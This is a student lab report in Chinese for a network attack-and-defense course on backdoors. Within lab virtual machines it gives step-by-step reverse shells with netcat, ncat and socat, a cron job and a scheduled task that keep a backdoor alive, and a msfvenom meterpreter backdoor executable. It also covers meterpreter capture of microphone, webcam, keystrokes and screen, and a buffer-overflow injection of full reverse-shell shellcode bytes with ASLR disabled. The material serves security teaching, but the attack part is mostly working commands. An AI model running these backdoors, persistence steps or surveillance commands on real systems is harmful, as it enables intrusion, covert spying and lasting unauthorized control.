20184328yh《网络对抗技术》实验二:后门原理与实践
《网络对抗技术》实验二:后门原理与实践
20184328yh
一、实验内容及问题回答
二、常用后门基本操作
三、实践过程
-
3.1使用netcat获取主机操作Shell,cron启动
-
3.2使用socat获取主机操作Shell, 任务计划启动
-
3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
3.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
-
3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
四、 实验总结与体会
一、实验内容及问题回答
1.1实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.2问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 软件被修改后加上了攻击程序或者与其他软件绑定在一起
- 存储介质带有恶意程序,比如内存卡,U盘,硬盘等等
- 伪装成word等类型文件的宏病毒
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Win:开机自启动项
- 本实验中的定时启动
- 对有BOF漏洞的程序注入shellcode
- Meterpreter有哪些给你映像深刻的功能?
- 在主机植入后门后,可以获取靶机麦克风摄像头、可以截屏、记录键盘输入,与靶机之间进行文件传输
- 如何发现自己有系统有没有被安装后门?
- 安装主流杀毒软件定时检测系统安全
- 查看是否有异常端口
二、常用后门基本操作
2.1Windows获得Linux Shell
1.分别使用ipconfig和ifconfig获取获取两个ip地址,如下图,Win7为192.168.184.134,Linux为192.168.184.131
2.发现在win7环境里面ncat无法直接打开,需要在其所在目录页打开cmd再执行ncat程序
3.输入 ncat.exe -l -p 4328 使用ncat.exe程序监听本机的4328端口
4.在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4328端口
输入nc <win IP> <端口号> -e /bin/sh
nc 192.168.1.6 4328 -e /bin/sh
5.成功获得Kali的shell,如下图所示
2.2Linux获得Windows Shell
1.使用nc指令监听4328端口
输入: nc -l -p 4328
2.在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的4328端口
输入 ncat.exe -e cmd.exe 192.168.184.131 4328
显示目标计算机积极拒绝无法连接,原因是因为没有关闭Linux的防火墙
需要在在Linux将防火墙关闭
3.使用
apt-get install
ufw ufw disable
关闭Linux防火墙
4.在win7,使用ncat.exe程序的-e选项项反向连接linux主机的4328端口
输入 ncat.exe -e cmd.exe 192.168.184.131 4328
5.Linux下看到Windows的命令提示,可输入Windows命令
2.3使用nc指令传输数据
1、 Windows系统输入ncat.exe -l 监听4328端口
2、Kali下连接到Windows的4328端口
输入 nc 192.168.184.134 4328
3、 建立连接之后,就可以传输数据了
1.要从kali传给windows,先在kali创建一个文件file1
2.按‘i’进入编辑 模式,输入一些内容作为记录
输入:wq保存并退出
3.Windows下监听4328端口,并把收到的数据保存到file1.out中
kali反弹连接到Windows的4328端口, nc 192.168.184.134 4328< file1.txt
连接建立成功,kali可以收到Windows发来的文件
三、实践过程
3.1使用netcat获取主机操作Shell,cron启动
1.在Windows系统下,监听4328端口
2. 在Kali环境下,用 crontab -e 指令编辑一条定时任务
crontab 指令增加一条定时任务
-e表示编辑,选择编辑器时选择3
3. 在最后一行添加30* * * * /bin/netcat 192.168.184.134 4328 -e /bin/sh意思是,每个小时的第30分钟反向连接Windows主机的4328端口
4. 当时间到了某个小时的30分钟以及以后时,发现win7端此时已经获得了Kali的shell,可以输入指令
3.2使用socat获取主机操作Shell, 任务计划启动
预备知识:
socat是ncat的增强版,它使用的格式是socat [options]<address> <address>,其中两个address是必选项,而options 是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
1. Win+R输入compmgmt.msc打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”
2.创建任务
填写任务名称
3.并新建一个触发器,当工作站锁定时执行操作
4.在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写 tcp-listen:4328exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe绑定到端口4328,同时把cmd.exe的stderr重定向到stdout上
5.创建完成之后,锁定计算机让新的任务执行,此时,在Kali环境下输入指令socat- tcp:192.168.184.134:4328
这里的第一个参数-代表标准的输入输出
第二个流连接到Windows主机的4328端口
此时可以发现已经成功获得了一个cmd shell
3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.184.131 LPORT=4328 -f exe > 20184328_attackdoor.exe
IP地址为控制端IP,即Linux的IP,其中-p 使用的payload,为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.LHOST是反弹回连的IP,即攻击机linux的IP地址,LPORT是回连的端口,-f是生成文件的类型, > 输出到哪个文件
生成了后门程序:20184328_attackdoor.exe
2、 通过 ncat.exe -lv 4328 > 20184328_attackdoor.exe 指令将被控制主机进入接受文件模式
3、 在Linux中执行 nc 192.168.184.134 4328 < 20184328_attackdoor.exe ,注意这里的IP为被控主机IP,即Windows的IP
4、 传送接收文件成功
5、 在Kali上使用 msfconsole 进入msf控制台
输入
use exploit/multi/handler//使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp//使用和生成后门程序时相同的payload set LHOST 192.168.184.131//这里用的是LinuxIP,监听端的ip地址 set LPORT 4328//同样要使用相同的端口
6、设置完成后,输入指令
exploit
执行监听,在windows中双击4328_backdoor.exe,Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell,如下:
3.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1.使用 record_mic 指令可以截获目标主机的一段音频
2.使用 webcam_snap 指令可以使用摄像头进行拍照,但要先给win7虚拟机权限才行
3.使用 keyscan_start 指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录,但好像没有成功
4.使用screenshot指令可以进行截屏
5.输入指令 webcam_stream 获取目标主机的摄像头录像:
3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
实验一的第三部分里面,输入的32个“A”就是填充字符,90909090后面的代码就是一种shellcode,用来攻击的,在这次实验里面不同的是换了一种shellcode,但是功能更加强大,可以做到把shell通过端口发送出去,用MSF meterpreter接收后就能入侵靶机
1.首先把上次实验用的pwn1文件再下载下来,放在根目录就好
2.准备工作:
execstack -s pwn20184328 //设置堆栈可执行 execstack -q pwn20184328 //查询文件的堆栈是否可执行 X pwn20184328
echo "0" >/proc/sys/kernel/randomize_va_space //关闭地址随机化
#more /proc/sys/kernel/randomize_va_space 0
3.输入payload
perl -e 'print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
再输入 (catinput_shellcode;cat) | ./pwn20184328 敲一次回车,换到第二个窗口查看这个任务进程号为2549
4.在这个进程号窗口输入gdb打开编译器,输入attach 2549
5.在编译调试界面用 disassemble foo 对foo函数进行反汇编,找到ret的地址位0x80484ae
然后在ret的地址位置设置断点,输入指令如下 break *0x080484ae
回到之前的终端按下回车,再到gdb所在终端进行调试
6.设置完断点回车结束这个指令,弹出新的一行“(gdb)”,然后不要动,在注入代码的窗口按一下回车,然后在右边调试界面输入c 代表continue继续运行
7.输入info r esp查看地址,计算器计算得到要修改的地址
8.回到另一个终端,将返回地址修改为 0xffffd210,再将修改后的代码重新注入
perl -e 'print "A" x 32;print"\x10\xd2\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
改好后打开两个窗口,一个注入上面的shellcode,另外一个用msfconsole监视
打开msf控制台,输入以下内容:
use exploit/multi/handler set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1//根据前面下载的源文件获得 set LPORT 4444//根据前面下载的源文件获得 exploit
9.在前面打开的终端中输入指令,(cat input11;cat) | ./pwn20184328按回车,监视的这边就成功获取到shell了
四、 实验总结与体会
本次实验难度不大,总体完成下来大体都比较顺利,因为怕影响到自己的电脑系统所以我提前安装了一个win7的虚拟机,做起实验也不用有太多顾虑。
主要有到的问题有:1.没有关闭Linux防火墙导致Linux主机积极拒绝,下载ufw再用命令关闭即可。2.nact无法直接运行,需要在其完整文件路径下使用。3.使用 webcam_snap 指令用摄像头进行拍照时无权限,先给win7虚拟机打开摄像头权限可权限才行。
在这次实验中,我学会了利用后门程序对主机进行注入攻击,通过使用netcat、socat、meterpreter等,对后门的实现原理有了初步的了解,我觉得让我印象最深的是用ncat.exe攻击程序在win系统或者linux系统中留下后门,并且还实现了对靶机屏幕、麦克风、摄像头、文件等等权限的获取,不仅很有趣味性,还让我提升了对系统安全问题的重视程度。